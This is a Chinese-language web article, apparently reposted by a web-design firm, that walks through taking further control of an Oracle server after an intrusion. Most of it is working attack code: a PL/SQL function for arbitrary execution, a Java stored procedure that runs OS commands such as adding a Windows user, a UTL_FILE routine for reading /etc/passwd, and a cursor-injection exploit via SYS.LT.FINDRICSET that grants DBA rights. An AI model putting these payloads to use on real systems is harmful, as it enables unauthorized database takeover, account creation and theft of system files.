Oracle服务器如何进一步的获取权限

再进行入侵Oracle服务器的进一步来获取权限时，我们需要快速的连接上Oracle服务器，此时你会发现，的情况有，连接之后不是dba权限，或不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升权限。

创新互联主营赣县网站建设的网络公司,主营网站建设方案,app软件定制开发,赣县h5重庆小程序开发公司搭建,赣县网站营销推广欢迎赣县等地区企业咨询

3.运行SELECT UTL_HTTP.request(‘http://xxxxxxxxxxx/login.jsp’) FROM dual 后发现oracle服务器不能连接网络。

幸运的是，

运行

 
 
 
  
  
  create or replace function Linx_Query (p varchar2) 
return number authid current_user is begin execute 
immediate p; return 1;end;

成功!这个用户具有create proceduce权限。

此时马上想到创建java扩展执行命令：

 
 
 
  
  
  create or replace and compile java source named 
“LinxUtil” as import java.io.*; public class LinxUtil extends Object 
{public static String runCMD(String args) {try{BufferedReader myReader= 
new BufferedReader
(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); 
String stemp,str=”";while ((stemp = myReader.readLine()) != null) str +=stemp+” 
“;myReader.close();return str;} catch (Exception e){return e.toString();}}}  
  
  
  begin dbms_java.grant_permission
(‘PUBLIC’, ‘SYS:java.io.FilePermission’, ‘<>’, ‘execute’ );end;  
  
  
  create or replace function LinxRunCMD(p_cmd in varchar2) 
return varchar2 as language java name 
‘LinxUtil.runCMD(java.lang.String) return String’  
  
  
  select * from all_objects where object_name like ‘%LINX%’  
  
  
  grant all on LinxRunCMD to public  
  
  
  select LinxRunCMD(‘cmd /c net user linx /add’) from dual

但是在第一步就卡住了，服务器由于某种未知原因不能创建java扩展!!

还好，我们还有UTL库可以利用：

 
 
 
  
  
  create or replace function LinxUTLReadfile 
(filename varchar2) return varchar2 is  
  
  
  fHandler UTL_FILE.FILE_TYPE;  
  
  
  buf varchar2(4000);  
  
  
  output varchar2(8000);  
  
  
  BEGIN  
  
  
  fHandler := UTL_FILE.FOPEN(‘UTL_FILE_DIR’, filename, ‘r’);  
  
  
  loop  
  
  
  begin  
  
  
  utl_file.get_line(fHandler,buf);  
  
  
  DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||buf);  
  
  
  exception  
  
  
  when no_data_found then exit;  
  
  
  end;  
  
  
  output := output||buf||chr(10);  
  
  
  end loop;  
  
  
  UTL_FILE.FCLOSE(fHandler);  
  
  
  return output;  
  
  
  END;

UTL_FILE_DIR需要先用：

 
 
 
  
  
  CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;

指定目。但运行后发现没有权限。只好想办法提权。

游标注射

老外写了N个pdf介绍这技术，我精简了代码：

 
 
 
  
  
  DECLARE  
  
  
   
  
  
  MYC NUMBER;  
  
  
  BEGIN  
  
  
  MYC := DBMS_SQL.OPEN_CURSOR;  
  
  
  DBMS_SQL.PARSE(MYC,’declare pragma autonomous_transaction; 
begin execute immediate 
”GRANT DBA TO linxlinx_current_db_user”;commit;end;’,0);  
  
  
  DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);  
  
  
  BEGIN SYS.LT.FINDRICSET
(‘.”||dbms_sql.execute( ‘||MYC||’ )||””)–’,'x’); END;  
  
  
  raise NO_DATA_FOUND;  
  
  
  EXCEPTION  
  
  
  WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);  
  
  
  WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);  
  
  
  END;

运行后重新连接就有dba权限了，简单吧……

现在可以读取文件了：

 
 
 
  
  
  CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;  
  
  
  select LinxUTLReadfile(‘passwd’) from dual

后面就简单了，不写了。上述的相关内容就是对入侵Oracle服务器进一步获取权限的描述，希望会给你带来一些帮助在此方面。

【编辑推荐】

在Oracle数据库中使用PL操作COM对象
对联机备份Oracle数据的解剖
Oracle动态Web开发实例演示
Oracle移植到mysql中，应注意的事项
Oracle进程中出现带锁状况的解决

本文题目：Oracle服务器如何进一步的获取权限
URL链接：http://www.gawzjz.com/qtweb2/news32/7382.html

网站建设、网络推广公司-创新互联，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源：创新互联

猜你还喜欢下面的内容